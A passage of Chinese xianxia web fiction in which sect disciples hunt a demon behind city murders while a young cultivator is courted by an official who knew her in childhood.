问玉停在商怀笙身前,嘴角噙着一抹笑意,目光自她身上掠过,放到凌盛脸上,“听闻凌宗主晚年得子,你与他倒是十分相似。” 凌盛抿唇,眼底似乎透着不服气,但是不知为何竟然忍耐下来,“久闻道长盛名。” 问玉没接话,又看向商怀笙,语气温柔,听起来还有几分纵容宠溺的味道,“你衣裳脏了,去换一件吧。” 凌盛瞥见商怀笙裙上的血污,唰的一下从他视线跑开,目光微暗,知道问玉这是要护着那猫妖了。 常春阁的问玉素来护短,性格乖戾,行事随心所欲,不管你名声多么显赫,只要打得过的,都得挨顿打。 而且此人对他父亲有救命之恩,他的画像现在还供在凌家祠堂,所以凌盛第一眼便认出了他。 问玉盯着商怀笙上了楼,转身道:“雨停了,凌公子也回去吧。” 凌康辰上前一步:“可是那猫妖——” 凌盛伸手,挡在他胸前,语气乖顺,压抑着怒气,“是,惊扰道长,还请道长见谅。” “我不会和你计较这些,至于你说城中妖族伤人之事,既然我们也游历至此处,自然不能放任不管,若有任何需要帮忙之处,尽管开口。” 他说的冠冕堂皇,凌盛只得挤出一丝笑容,“是。” “走!” 他招招手,与凌康辰转身步入夜色中,背影透着深深的不甘之意,连步子都踏得格外重。 “和他爹是一个模子刻出来的。”问玉感叹一句,看向身侧三人,“你们在这儿傻站着干什么呢?该休息休息,明日帮着他们查一下城中的命案。” “是。”三人道。 闻惠与元妄上楼,秦湫还在原地站着,眉目间透着一丝担忧,“师叔,怀笙今日这样得罪了凌盛,会不会……?” 问玉轻笑,反问道:“商怀笙都敢当着我的面伤人,你觉得她会怕凌盛?” 秦湫抿唇,神色略显尴尬,“怀笙她只是莽撞了一些,心是善的。只是瞧着这凌家公子不像是会善罢甘休之人,凌枫院的宗主年过一百五十岁,才得了这么个宝贝儿子,宠得无法无天。” “无碍,凌盛在这里大肆捕杀妖族,传出去也不光彩,凌云宠爱幼子,却也不是不讲情理之人。” 秦湫闻言松了口气,“那就好。” 问玉话锋一转,又道:“你们既然担心她,便不该对她宠溺无度,养成了她这莽撞的性子。凌盛被养的无法无天,我瞧着商怀笙与他也不分伯仲。” 秦湫哂笑,“师叔所言极是,只是怀笙自幼养在我身边,就像是自己的孩子一样,难免会纵容溺爱。” 问玉意味深长地看着她,问道:“听闻商怀笙行事张扬,曾被人暗害,掉入结界,许久才回来?” 秦湫心脏猛地一揪,扯出一抹不自然的笑意,“小孩子之间的打闹而已,并无大碍。” 问玉眸光幽深,“就是因为你们这般纵容,三山宗与四水阁这群小辈才会如此水火不容。” “师叔说的是,晚辈自当改过。”秦湫说着,听到楼上商怀笙在叫她,抓住机会赶紧离开,“师叔早些安寝吧。” 她走后,问玉站在原地,望着门外飘着的毛毛细雨,在灯笼的光下闪烁,像密织的银线,朦胧着外面的景色。 思绪不由得飘回前几日,商怀笙得知家人离世,晕厥在他怀中,他抱着她,商怀笙的胳膊搭在他腰间。 明明只是长辈对晚辈的救助,他却觉得商怀笙在怀里的触感是那样熟悉,仿佛他从前也这么抱过她…… 或许不是她,是囚龙谷中夺取他清白的女子,只是这种怀抱勾起了他的回忆。 ……希望不是她。 * 许鲜伤得很重,被符咒灼伤,又中了凌盛一剑,血流不止。 秦湫给他止血,喂他丹药保命,商怀笙在一旁帮忙递东西,端盆倒水,不忘去搓一搓许鲜的小耳朵。 秦湫把她的手拨开,“什么时候,还在这里占人便宜?” “师姐,他要紧吗?” “这一剑刺的不深,不致命。只是元气损耗严重,短时间内很难恢复。” 许鲜艰难地抬眼,“那我还能恢复人形吗?医馆还需要我。” 商怀笙敲敲他脑袋,“你差点都死了,还在想你的医馆?你没听见凌盛说吗,你救人也没有用。” 许鲜微微合眼,小声道:“他有病。” 商怀笙噗嗤一声笑出来,“你说的没错,回头给他治治。” 他几乎全身都被包扎起来,只留个脑袋在外面,蔫巴巴地躺在床上。 秦湫说:“化人形倒是可以,只是原形更方便养伤,我不是医修,你是大夫,你自己决定。” 许鲜闷闷地嗯了一声,“我知道了,谢谢道长。” 待秦湫起身,商怀笙双手把他抱起来,捏着他两只耳朵,毛茸茸的,也很软。 “姑、姑娘!”许鲜惊叫,“我是男子,男女授受不亲!” “可你现在就是只小猫啊?”商怀笙道。 “那我也是男猫,男猫!” 许鲜通体黝黑,脸红也看不出来,见他耳朵都飞了起来,秦湫假意喝道:“你不是见过他人形的样子吗?快把他送去你师兄房里,你年纪不小了,要懂得避嫌。” “可他现在就是只猫啊。”商怀笙嘟嘟囔囔,还是听话地抱着他出门去找元妄。 “放我屋里?”元妄看着许鲜绷带上渗出的血迹,“可我屋里只有一张床,而且我也不会换药啊。” 听他这么说,商怀笙当即便要把猫带回去,“我就说吧,还是得养在我们屋里。” “诶,等等,他是个男妖吧?放你们房里也不合适。” “可他现在就是只猫啊。” 许鲜无奈地呼喊:“商姑娘,我是男猫,是男人!你们把我随便放在什么地方都行,我现在回去也行。” “那不行。”商怀笙摸着他脑袋,“外面下着雨呢。” “罢了,放我这里吧。”元妄伸手去接,说出的话和秦湫如出一辙,“男女有别,你这样抱着他不合适。” 商怀笙不情不愿地把猫交出去,“他现在就是只猫,我难道还会对一只猫有非分之想吗?师兄你之前还说要带我去乐楼找俊俏小倌呢,现在倒是说起男女有别了。” 商怀笙话音刚落,旁边的屋门打开,问玉的身子探出来,眼神晦朔不明,眉头轻皱,显然是听到了三人的对话。 “再吵就出去。”他道,“你们要把这种丑事闹得人尽皆知吗?” 商怀笙回头看一眼另一侧走廊紧闭的房门,小声道:“还没找呢。” 元妄:“……” 许鲜绝望地用爪子捂住耳朵。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 22-30 第22章 第二十二章· 三更合一 许鲜最终被问玉带了回去, 交给他的商怀笙不死心地想再摸一把,被问玉一巴掌拍开。 问玉看她的眼神像在看什么强占良家猫的臭流氓,商怀笙攥着被他拍的微微发烫的手掌, 心里有几分心虚。 师兄师姐说没什么, 但问玉一说,商怀笙就觉得自己是真的有点过分了。 可能因为她真的做过对不起问玉的事情。 一想到这件事,商怀笙就辗转难眠, 不断想起问玉刚才出来的模样,他似是刚刚起来,眉目间带着几分晨起的散漫慵懒,几缕发丝贴着白皙的侧脸,眸光从商怀笙身上扫过,眼底隐隐含着怒意, 却勾的人心里发痒。 尤其她还见过问玉身热情动的模样, 更觉得口干舌燥。 商怀笙起床喝了一大壶水, 还是觉得热,扯了衣领, 呆坐在桌前, 满脑子都是问玉。 她努力让自己想起问玉呵斥她,惩罚她时不近人情的模样,但是画面到最后,都会变成囚龙谷交缠的人影, 问玉咬着她的耳垂, 哑声说要对她负责。 负责, 对,负责! 这是要她死呢! 商怀笙像是被泼了一盆冷水,瞬间清醒了, 开始长吁短叹,就算问玉长得再好看,她也不能对问玉有非分之想。 她可是宋良白的前师弟,按辈分算是她的师叔的,这要是放在以前常春阁还在,他俩是要受雷刑的。 不对,问玉那个性格,肯定会怪她强迫她,所以只有她会受雷刑。 真可怕! 商怀笙闭上眼睛,决定不去想了,起身在屋里踱步,又灌下一壶水。 “怀笙,你做什么呢?” 秦湫突然开口,把商怀笙吓了一跳,“师姐,你还没睡呢?” “睡不着。” 她坐起身来,商怀笙迅速挪到她身边,依偎着她坐下,“师姐是被我吵醒了吗?” 秦湫摇摇头,“我一直都没睡。” 她心中有事,总想着问玉晚上问她的事情,所以不安难眠。 若是问玉知道那人是怀笙……依他的性格,就算与宋良白撕破脸,也要将商怀笙逐出师门…… 不,他有许多种折磨商怀笙的,逐出师门是轻的。 秦湫轻叹一声,抱住商怀笙的肩膀,“你怎么了,也睡不着?” “我在想城里妖物伤人的事情呢。” 商怀笙扯了个谎,总不能说自己想男人想的睡不着吧? “这几日其实我也有所听闻,只是你情绪不佳,没跟你提起此事。” 商怀笙眼神微暗,“我没事啦师姐,你给我讲讲,发生什么了?” “有几次我们感受到了很重的妖气,但是转瞬即逝,无法追寻,三日前正午,那妖气格外浓郁,我与你师兄二人追出郊外,只见到同来的清溪门弟子。” 商怀笙睁大眼睛,听的认真,“然后呢?” “没多久郊外就出现了死尸,因是城中乞丐,所以一直没被发现。” “是什么样的妖怪?” “不知,闻惠去请言府见过被它所伤的牲畜尸体,开膛破肚,但是那两具人尸又是被吸干了精气,不知道是什么样的妖怪?” “能把牲畜开膛破肚,肯定是大妖,狐狸?老虎?狼?” 秦湫摇摇头,“我并未亲眼见过。” 商怀笙贴着她,闻着她身上熟悉的气味,感到一阵安心,“会解决的,凌枫院和清溪门的人都在。” 秦湫点点头,“你先不必担心这些,找到断龙要紧。” 商怀笙嗯了一声,抱紧秦湫,“师姐,我能跟你一起睡吗?” “都多大了……”秦湫无奈地笑着,正要挪开身体让出位置,忽的身形一滞。 商怀笙也松开她,猛地站起,两人对视一眼,齐齐看向窗外。 那股妖气又出现了,以商怀笙的修为都能感应到,说明今夜比往日更加浓重。 “怀笙,你在这里待着。”秦湫起身穿衣,提剑准备出去。 “我也去!” “怀笙……” “我也去。” “好吧。反正不带你你也会跟过来,你跟紧我,有任何情况赶紧走。” “好!” 两人出门,撞见了同样整装待发的问玉,闻惠,元妄三人。 问玉看向商怀笙,见她死死抓着秦湫的衣袖,犹豫片刻,又转向闻惠,“你留下保护客栈百姓。” “是。”闻惠道。 * 刚下过雨,夜色如墨,浓稠得化不开。地面还有积水,映着街道的灯笼,反射出微薄光亮。 他们循着妖气,来到万家巷,这里是百姓居所,街道狭窄但热闹,平日里充满生活气息,只是自妖物出现后,人心惶惶,连灯笼都不敢点。 在他们抵达之前,妖气便已经消失,只有一丝残留在空气中,几不可察,他们在一处小巷落脚,商怀笙还未站稳,便见地上蜿蜒着一道暗红色的血迹,墙角几道深深的爪痕,触目惊心。 “不见了。”问玉仔细检查周围,“妖气几乎淡的察觉不到。” “有血迹,为什么不见尸体?” 商怀笙还是第一次跟着捉妖,心中隐隐有些激动。 问玉俯身检查墙面的爪痕,目光顺着拿到血迹望去,血迹在水洼弥漫,分不清到底蜿蜒至何处,“尸体或许就在附近。” 秦湫:“是先报官还是?若是明天被百姓发现尸体,必然会引起骚乱。” 问玉摇头,“不必,他们来了。” 话音刚落,他们身后的巷口被官兵包围,火把的光亮驱散夜色,众人回头,便见衙役分成两侧,一身着银白色官服的男子走出,身形修长,腰间悬着一把长剑。 “夜半三更,何人在此作乱?” 商怀笙被突然的光亮晃了眼,对方一开口,才听出是陆雪青。 陆雪青自然也认出了问玉,目光扫过几人,猛地身形一滞,直勾勾地盯着问玉身后。 “陆大人。”问玉上前,看向他腰间长剑,剑鞘暗纹隐现,“大人是来抓妖的?” “……是。”陆雪青收回视线,已然有几分心神不定,“接到报案,说此处有命案。” 问玉眉梢一动,“是谁?” 他们察觉到妖气才赶过来,连尸体都没找到,官府的人便赶过来,想必是同道之人告知陆雪青此事。 陆雪青还未回答,一清甜女声传出,“是我。” 陌生的声音,商怀笙歪头望去,看到陆雪青身后走出一女子,雪白衣袂,黑发银簪,几缕青丝随风轻扬,肌肤如雪,眉目如画,眼尾一抹朱砂小痣,美得不可方物。 商怀笙听见元妄小声说:“是桑月?” 桑月,现任潮海阁圣女,善音律,悟道期修士。 商怀笙听说过她许多次,但从未见过,便梗着脖子使劲去瞧,全然没注意到陆雪青落在自己身上的目光。 潮海阁与翡岛相邻,更与庆州皇室关系亲密,修道之人提起潮海阁,总不免提起潮海阁上一任圣女,貌比天仙,惊才绝艳,一手翡玉琵琶无人能及,一曲动天下,声名扬四海。 她是个近乎完美的人,连死亡都是那样的完美,以身祭器,与在海上作乱,屠戮百姓的千年妖兽同归于尽,传闻她殒身那日,常年阴云的长眠海出现了艳阳,驱散迷雾。 传闻经过数人之口,肯定会有添油加醋地夸大化,不过不可否认的是,潮海阁前圣女是无数修道之人的白月光。 商怀笙的大师兄高明叶就曾见过她,一见倾心,至今都没有过道侣。 有这样的珠玉在前,潮海阁现在的圣女处境就比较尴尬,常被拿来作比较。 商怀笙盯着桑月的脸,忍不住想,这么美都要被比较? 修仙界的人一天天都吃饱了撑得没事干了。 商怀笙盯得入神,好半天才发应过来,大家好像安静得有点奇怪,尤其是桑月,她好像一直在盯着问玉,表情奇怪得很,像是……幽怨? 终于还是由桑月打破宁静,“问玉,许久不见,连老朋友都不认识了吗?” “许久不见。”问玉淡淡回道,甚至透出几分绝情的意味。 桑月的脸上划过一丝落寞,“我还以为你还在闭关。” “……刚出来不久。” 两人的谈话听起来是普通的寒暄,但商怀笙总觉得怪怪的。 桑月,潮海阁圣女…… 这不就是传闻中喜欢过问玉的人吗?! 商怀笙眼中冒出一簇光亮,颇有兴致地看看问玉,又瞧瞧桑月,一副看好戏的神色。 桑月似是怨愤地瞪了问玉一眼,道:“我受请言府所托,帮忙巩固城外结界,忽然感应到一股很重的妖气,便出来察看。” “我也是。”问玉道,“只是你们来的不巧,妖气已经没了。” 桑月:“这样浓重的妖气,如此轻易掩盖,想必那妖怪道行不浅。” 问玉点点头,“还没有找到尸体,既然陆大人来了,便交由你们来做吧。” 专业的事让专业的人做,他们是来抓妖的,妖怪跑了,自然也没了用处。 问玉说话,看向陆雪青,却见他目光直直盯着某处,眸深如枯井涌出甘泉,压抑着欣喜的神色。 商怀笙今日没有易容。 问玉想起此事,犹豫着要不要提醒商怀笙,不过既然都被看到,现在再走也晚了。 算了,这是他们俩之间的事情,他没必要管。 陆雪青一声令下,官兵四散去寻找尸体,问玉本想离开,但又想从尸体上找到些许线索,便留下同他们一起寻找。 可一整夜过去,地面的积水都干了,东方微微露出一丝光亮,请言府的人来了两拨人,将万家巷里里外外找了个遍,还是没有找到尸体。 巷子里响起第一声鸡鸣,天光漫过大街小巷,四周不断响起“吱嘎”“扣扣”的声响,整个万家巷便开始热闹起来。 为了不惊扰到万家巷百姓,陆雪青留了一队人便装搜寻,让其他人回了府。 忙了整夜,商怀笙困得哈欠连连,跟在秦湫身后昏昏欲睡,问玉在与陆雪青交谈,说着客气的官话,商怀笙迷迷糊糊地听着,依偎在秦湫肩膀上。 回到客栈,商怀笙倒头就睡,再睁眼时,天色已染作昏黄,一抹斜阳照在窗棂上,浮尘游荡,楼下传来零星的叫卖声,混着外面走廊的脚步声,令人恍惚如在梦中。 商怀笙翻身起床,秦湫不在屋里,她点上蜡烛,走下楼,见到秦湫几人坐在大堂,围成一桌,客栈里没什么人,连柜台的老板都不见了踪影,地上堆着大大小小数十个木头箱子。 “师姐。”商怀笙坐到秦湫身边,“你们在等着吃饭吗?” “没有……”秦湫温声细语,顿了片刻,开口道,“陆雪青送来许多东西。” 商怀笙:“啊?” “说是感谢我们帮忙,可咱们忙活了一宿,什么也没找到。”元妄语中含着笑意,“可他送来的这些东西,珠宝首饰衣裳,样样都是给姑娘家的,是半点没考虑到我和问玉师叔。” 商怀笙睡醒便脑袋昏沉,在元妄戏谑的笑容中,问道,“他送这些做什么?” “谁知道呢。”元妄耸耸肩,“这些衣裳比起秦湫的尺寸可是大了不少,若不是买给我的,便只有一人了。” 商怀笙看向个头高挑的闻惠,被她瞪回来,“看什么啊,昨晚我又没去!” 哦—— 商怀笙终于反应过来,“是给我的?” 元妄一副“你终于猜出来了”的神色,笑道:“听闻你与那陆雪青年幼相识?” 商怀笙摸了下鼻子,转头去看那些木箱,“他说我们自幼相识,我却不记得他。” “怀笙,你那么小就学会留情了啊。”元妄调侃道。 商怀笙这才想起,昨夜她出去的时候并未易容,或许陆雪青昨夜便认出她了,难怪一直盯着她看。 闻惠也是似笑非笑的模样,“他不仅送来这许多礼物,包下了整间客栈,还邀咱们去他府上赴宴呢,说是共同商讨如何抓住城中作恶的妖怪。” 陆雪青醉翁之意不在酒,几人是看的明明白白,都盯着商怀笙的反应。 商怀笙愣了片刻,发现三人都在看着她,开口道:“怎么不见问玉?” “……” 闻惠道:“师叔名讳也是你能直呼的?他今早便出去了,一直没回来。” “哦。”商怀笙点点头,“那咱们晚上吃什么?” 秦湫露出无奈的笑容,“你想吃什么?” “醉仙楼的烤鸭不错。” “那便去吧。” 元妄环视一圈,不由得感叹,陆雪青喜欢谁不好,偏偏喜欢他们怀笙,一天来了三趟,搜罗出这些许多女儿家的东西,送给商怀笙,无异于是对牛弹琴了。 * 暮色四合,华灯初上,微凉的夜风吹散白日的暑气。齐物汇灯笼高挂,热闹非凡,商怀笙捧着刚买的莲花灯,看着青石板路她与陆雪青的影子,随着灯光变化,时浅时深。 他们在醉仙楼遇见陆雪青,然后陆雪青执意邀请他们吃饭,酒过三巡……秦湫他们三个就跑了,说他们年纪大了需要补觉,留下商怀笙让她自己逛逛。 陆雪青邀她同游,吃人嘴短,商怀笙没拒绝,跟着他一起出来逛了会儿,后知后觉地发现气氛有几分尴尬。 陆雪青的身体见好,脸色红润,也再裹着披风,只是夜里不比白天,他穿得仍比其他人厚实得多。 “得道长所赐法宝,商叙这些日子没再犯过病。”他道。 “嗯。” “这次四城会面,我们要待上半个月,再有七八天便要回去了。” “嗯。” “落凤原景色怡人,姑娘想来瞧瞧吗?” “……啊?” 商怀笙缓缓抬眸,对上陆雪青含笑的眼眸,他没再继续刚才的话题,指着街边的糖画,目光却落在商怀笙脸上,“你想尝尝那个吗?” 见她眼眸一眯,不等她回答,陆雪青便带她来到摊位前。 “老人家,给我们做个糖画吧。姑娘,你想要什么?” 商怀笙的目光扫了一圈摊位画好的,指着其中一个平平无奇的花朵,“就这个吧。” “好。”陆雪青小心翼翼地将糖画抱起来,珍重地交到商怀笙手中。 商怀笙手里的花灯,糖画,脖颈上的璎珞,手上的珊瑚手串,全是他这一路上给买的。 拿人手短,商怀笙就算是再迟钝,也发现了陆雪青的不对劲。 元妄说,他追女孩子的时候,就会送对方喜欢的东西,若是不知道对方喜好,便把能想到的全买一遍,男人不会无缘无故地送你东西,肯定是有所图谋。 陆雪青送她这么多东西,是为了什么? 商怀笙咬着糖画思索片刻,慢慢走出热闹的人群,来到街道后面幽静的河边,青石台阶沾着露痕,水面映着对岸乐楼的灯火,琵琶声飘来,断断续续,携风吹拂着岸边绿柳。 陆雪青也跟了过来,这里灯火昏暗,他的眼睛却明亮。 “陆大人。”商怀笙想说得委婉些,开口却是,“你为什么要给我买这些?” 陆雪青长睫微颤,在眼底落下一片阴影,“你不喜欢吗?” “这个……”商怀笙晃了晃手上亮晶晶的手串,“也不是不喜欢。” 这些东西也没什么重量,但莫名压得商怀笙喘不过气来。 “我就是不明白你为什么要给我买这些。”商怀笙道。 “因为你喜欢。”陆雪青勾唇,笑容却显得苦涩,目不转睛地盯着她,压抑着浓烈的情绪,“你从前说过,喜欢漂亮姐姐身上的衣裳,喜欢她镯子叮当作响的镯子,也喜欢亮晶晶的簪子。我也说过,有朝一日都会送给你。” “……” 水面叮咚轻响,鱼儿跃出,搅碎月影。 商怀笙摸摸自己的脸颊,惊讶之中,脸上浮现出一丝迷茫的神色。 “啊。可是……” 她正想解释,忽然被陆雪青拉入怀中,双臂紧紧揽住她的肩膀。 “怀笙……” 耳畔响起陆雪青哽咽的声音,商怀笙本想把他推开的动作一停,更加茫然无措。 他认出来她了。 也许是她长得和商叙确实很像,但陆雪青为什么要这幅模样,他是读书人,不应该把男女授受不亲挂在嘴边吗? 为什么抱她? 商怀笙心中奇怪,她发呆的时候,陆雪青的双臂缠得更紧了些,像是水中飘荡许久的人终于抓到浮木,他整个身体都在颤抖。 他抖得好厉害。商怀笙心想。 这算不算投怀送抱,她是不是得把他推开? 商怀笙犹豫之时,陆雪青先松开了她,“怀笙,是你对不对?” 看到陆雪青满脸的泪水,在月光下我见犹怜,商怀笙愣了愣,心底更加无措,“你,你先别哭啊。” “我很想你。”陆雪青紧咬着下唇,含泪注视着她,“我很想你……” 他泪眼朦胧,却掩不住炙热的思念。 “诶你……”别哭了啊。 商怀笙的手悬在半空,上上下下不知道该放在哪里,犹豫再三,搭在了他的肩膀上,学着秦湫的模样轻拍了两下。 “别哭了。”她干巴巴地安慰道。 陆雪青泪流不止,紧咬着唇,委屈又倔强,豆大的泪珠一颗颗落下,商怀笙掏出手绢,手忙脚乱地擦拭,“你哭什么?” 擦着擦着,她动作一顿。 他就这么轻声低泣,哭声反倒唤起了商怀笙的一些记忆。 她好像真的认识陆雪青,从前在云月都的时候,在重刑犯的牢狱中,也有过这样一个小孩抱着她哭泣,还很没良心地咬了她一口。 那时的商怀笙还不会控制自己的力气,想拍拍他安慰他,却把人拍的吐了血,吓得那小孩连滚带爬回到角落。 等他血吐完了,又不怕死地回到商怀笙身边,紧紧地抱住了她,和她依偎在一起。 牢房中只有他们两个活人,剩下的全是尸体,也不怪陆雪青黏她。 商怀笙不记得自己做错了什么,被关在牢狱中待了几个月,后来她离开了,很快上了战场,也没过问过那孩子的情况。 牢狱中的重刑犯都是罪大恶极之人,那孩子是重刑犯的孩子,多半是从小就关在那里的。 重刑犯的孩子能成为落凤原的督主……一定吃了很多的苦。 商怀笙安慰人的言辞匮乏,只能一直拍他,“别哭了,别哭了。我好像想起来你是谁了。” “真的?”陆雪青抬起头,哭得满脸泪水,眼睛却亮的耀眼。 商怀笙:“一点点……” 陆雪青靠近,“那你答应要和我成亲的事情也想起来了?” “这个倒是没有。” “……” 他眼里的光暗了下去,意识到自己的失态,他转过去擦干泪水,再转身时已经恢复了平时的模样,只是脸上的泪痕未消,嘴角也微微上扬着。 “怀笙,我好开心,我没想到还能再见到你。” “……好久不见。”商怀笙想了想,如实说,“其实小时候很多事情我都不记得了。” 商怀笙虽然记起了他是谁,但在她记忆里两人只是萍水相逢,当年许多事她都不记得,自然不知道自己和陆雪青是否真的有过那样深厚的情谊。 那些可能鲜活过的记忆,已经在战争和杀戮中变得麻木了。 陆雪青却是十分开心,“不记得也没关系,总会想起来的。” 他扬唇,笑容是从未有过的灿烂,不加掩饰的喜悦让商怀笙有几分动容。 “我们才认识短短几个月……”她一开口,陆雪青的笑容便黯淡几分,商怀笙咽了下口水,硬生生改口,“你能这么快认出我来,也是厉害。” “我记得你小时候的模样。”陆雪青语气骄傲,抬眸看她一眼,耳尖浮上一抹微红,“其实我也想过你长大的模样。” 商怀笙歪头,“那我和你想象中有区别吗?” 陆雪青呼吸一滞,薄红蔓延至脸颊,“有一些,比、比我想象中更加漂亮。” 商怀笙扬起唇角,“你倒是比小时候壮了许多,你那时候瘦瘦小小的,没想到会长这么高。” 陆雪青笑容局促,呼吸也乱了,“那,你喜欢我现在的样子吗?” 商怀笙认真打量他,点点头,“挺喜欢的。” 陆雪青身形一晃,喉结不受控制地动了动,几乎要压不住唇角的弧度,“你、你喜欢就好。怀笙……” 他话未说完,河对岸忽然响起一声尖叫,两人循声望去,波光粼粼的湖面上,飘来一丝诡异的血迹,经过河水的稀释已经变得十分浅淡,但仍然能闻到血腥味。 昨夜的尸体出现了。 乐楼檐角的铜铃随风而动,乐楼内却鸦雀无声,被未知的恐惧所笼罩。 河边,朱漆画栏溅上大片血迹,一具女尸倒垂在栏杆上,腰部以上都没入河中,青丝浮起,宛如水鬼暗藏在河中,她的樱粉色披帛缠在腰间,被夜风吹得飘飘荡荡。 “我喝多了酒,出来透透气,听到‘扑通’一声,以为有人落、落水,转角便看到这样的景象!她就飘在水面上,睁着眼睛看着我,啊——!!” 发现尸首之人是来乐楼寻欢的富家子弟,他被吓得面色惨白,哆哆嗦嗦地描述着,双眼已经空洞无神。 “是妖怪!是妖怪!”他伸手紧紧抓住眼前男子的衣袖,“我看见了,有什么东西在河面飞过去了,脚不沾地,是鬼……不,是妖怪!是这些天杀人的妖怪!” 他一开口,瞬间引起一阵骚乱,好在有人镇场,这骚乱很快平息下来。 商怀笙与陆雪青穿过人群,看到一个熟悉的背影,她正要开口,却见他身侧还站了两个人,一个女子,一个中年男子。 看清男子的侧脸,商怀笙侧过身,扯下旁边歌女腰间的一截披帛,作为面纱覆在脸上。 “道长?”陆雪青叫了一声,三人转过身来,“相大人?” 问玉的目光落在商怀笙身上,看看她,又看看陆雪青,没有说话。 他身旁的桑月换了身杏黄色的衫裙,没了昨夜的清冷感,多了几分俏皮可爱,“陆大人。” 商怀笙的目光从二人身上扫过,难怪说问玉一大早便离开客栈,原来是私会旧相识来了。 看到两人站在一起,商怀笙心口闷闷的,余光瞥见另一边的相文客,更加憋闷。 他看上去四十左右,仪态端庄,样貌俊秀,年轻时也是个会让城中贵女倾慕的儒雅书生。 上次她与相文客见面,还是李昱辰要收她为义女的时候,那时的落凤原尚未归顺,云月都的城主是个五大三粗但心细如针的将军,相文客也还是个意气风发的少年,言谈间眼中闪烁着光芒。 时过境迁,那将军大抵是死了,相文客已经全然没了当初的模样,眉眼间透着阴险算计,暮气沉沉,商怀笙有几分不适。 “陆大人,你也来了。”相文客开口,目光也落在商怀笙身上,“真是罕见,陆大人竟有佳人在侧。” 陆雪青没理会他的揶揄,走到栏杆前察看,“相大人怎么会在此处?” 相文客道:“我在附近酒楼,听到有命案发生,过来察看,我已通知请言府,想必快来了。” 陆雪青嗯了一声,“先疏散人群吧。” 虽然这里的客人都躲在楼里不敢上前,但毕竟在闹事,又是乐楼这种地方,这具尸体以如此狰狞的模样出现在此处,带给百姓的恐慌远比郊外那两具要大得多。 请言府的人很快来到,疏散人群,控制现场,将尸体从水中拖了出来,仵作现场验尸。 商怀笙瞧见那女子面部已经被泡得有些浮肿,眼睛因惊恐而瞪大,血丝密布,身上的致命伤痕在脖颈,像被兽爪抓伤,几道伤痕从耳后一直蔓延到前胸,被河水冲刷许久,已经满是泥污。 验尸是官府的事情,商怀笙退至后方,问玉和桑月站在她身侧,轻声交谈。 “是妖物所为?”桑月问。 “还未查明,不能妄下定论。”问玉还是这幅平淡语气,半点不懂的怜香惜玉。 桑月又问:“是昨夜的妖物吗?” 问玉还未开口,商怀笙便道:“人是刚死的,最早也不会超过今天下午,你看她的伤口还透着红呢。” 桑月的目光越过问玉,看向商怀笙,“你是?” 商怀笙摸了摸脸上的面纱,露出笑容,“我是四水阁弟子。” “宋良白的小徒弟?我听说过你。”桑月露出一抹笑容,美若天仙。 商怀笙被她笑得心神荡漾,“真的吗?” “自然,我曾经去过和神山。”说着,她瞥问玉一眼,“听闻宋道长的小弟子天赋异禀,力大无穷。” “嘿嘿,也没那么厉害啦。”商怀笙摸摸脑袋,在她的笑容中完全迷失了自我,愣愣地盯着她,“你长得真漂亮。” 她轻笑一下,“多谢。” 商怀笙还想再与她攀谈几句,问玉忽的上前半步,挡住她的视线,语气冷冰冰的,“你怎么会出现在这里?” “你管我?”商怀笙晃着脑袋,只能看到桑月的衣摆,“你怎么会在这里?” 问玉顿了顿,道:“叙旧。” “我也是来叙旧的。”商怀笙说。 问玉看向前方忙碌的陆雪青,“你就这样暴露了身份?” “他不会告诉别人的。” “萍水相逢,你信任他?” 商怀笙觉得问玉今天怪怪的,明明他自己对陆雪青很客气,“当然啊,他照顾我妹妹那么久。” “呵。”问玉鼻腔中挤出一声冷哼,“你未免太没戒心。” 商怀笙蹙眉,“哇,你吃错药了吗?” “……” 问玉侧身离开,商怀笙终于又能看见桑月,瞬间换上笑容。 桑月望着问玉远去的背影,眼波流转,回到商怀笙身上,“小徒弟,你为什么以纱覆面?” 商怀笙:“低调。” 桑月掩唇轻笑,“听你大师兄说过,你十分有趣。” 大师兄高明叶? 他与潮海阁倒是来往频繁,主要还是为了祭奠他念念不忘的白月光,前任圣女。 美人总是让人百看不厌,商怀笙一直盯着她,桑月也不恼怒,只是轻点她的额头,问道:“你是怎么看出来这具尸体死亡的时间的?” “我见过许多尸体。”商怀笙说,“所以很熟悉。” 桑月微愣,似是没想到她会说出这个答案,身后朝他们走来的陆雪青也愣在原地,眼底倏地暗了下去,翻涌出无限的疼惜。 “怀……姑娘,时辰不早了,这里交给请言府,我送你回去吧。” 陆雪青站到商怀笙身侧,两人的肩膀挨得很近,桑月打量着二人,露出一丝笑容,“陆大人体贴。” 陆雪青脸颊微红,也没解释,道:“陆某先行离开,明日请言府,静候两位道长。” 他朝着不远处栏杆旁的问玉躬身,问玉面无表情地微微颔首,依然没有说话。 商怀笙随他一起离开,余光瞥见相文客在注视着他们,她转头与他对视,蹙眉,狠狠地瞪了相文客一眼。 相文客一僵,原本探究的神色变成了迷茫和惊愕,还有一股熟悉的畏惧,他低下头,轻声念了一句,“奇怪。” * 回程的路上,陆雪青走得很慢,商怀笙以为他是忙了这么久气虚,走不快,所以跟着他的步调,慢吞吞地跟着她,原本不远的路他们好像走了很久很久。 陆雪青一直在和她聊天,一开始两人聊起这场命案,商怀笙说了许多自己的见解,两人还能一直不断地聊着。 命案的事情聊完,陆雪青又聊起别的,可是小时候的事情商怀笙不记得,人界的事情她也不清楚,每次陆雪青挑起话题,很快又结束在商怀笙口中。 商怀笙都察觉出自己让氛围变得尴尬了,便主动问:“听闻落凤原多异族,且大都好战,你瞧着身体虚弱,是怎么管住他们的?” “不过是些制衡之术罢了。回头你来落凤原,我再细细告诉你。”陆雪青说着,又纠正道,“我身体不虚弱,我也会武功,虽然比不上商叙,但也足以自保。” “真的?”商怀笙挑眉笑笑,“看不出来啊。” 陆雪青又霎时涨红了脸,“我真的……不虚。” 他还想再辩解几句,却见商怀笙停下脚步,原来是已经到了客栈,陆雪青眸底闪过失望,坚持送她进屋。 “时候不早了,你快点回去吧。” 商怀笙刚踏上台阶,抬头看见问玉倚在二楼栏杆处,月白色锦袍,衬得黑发如墨,几乎融进夜色。 客栈厅堂中没人,灯光也暗下许多,问玉缓步下来,神色平静,“陆大人。” “道长。我送怀笙回来。”他们这一路的确走了许久,连问玉都回来了。 他们又在附近逛了逛,商怀笙的身上挂的满满当当。 陆雪青送了许多东西给她,她也得回礼。 商怀笙把手里吃了一半的糖画给陆雪青,捧着的莲花灯塞给问玉,让陆雪青等着,自己上楼拿东西。 他一走,便只剩问玉与陆雪青面对着面。 问玉面无表情地捧着莲花灯,商怀笙强塞给他,也没问他愿不愿意。 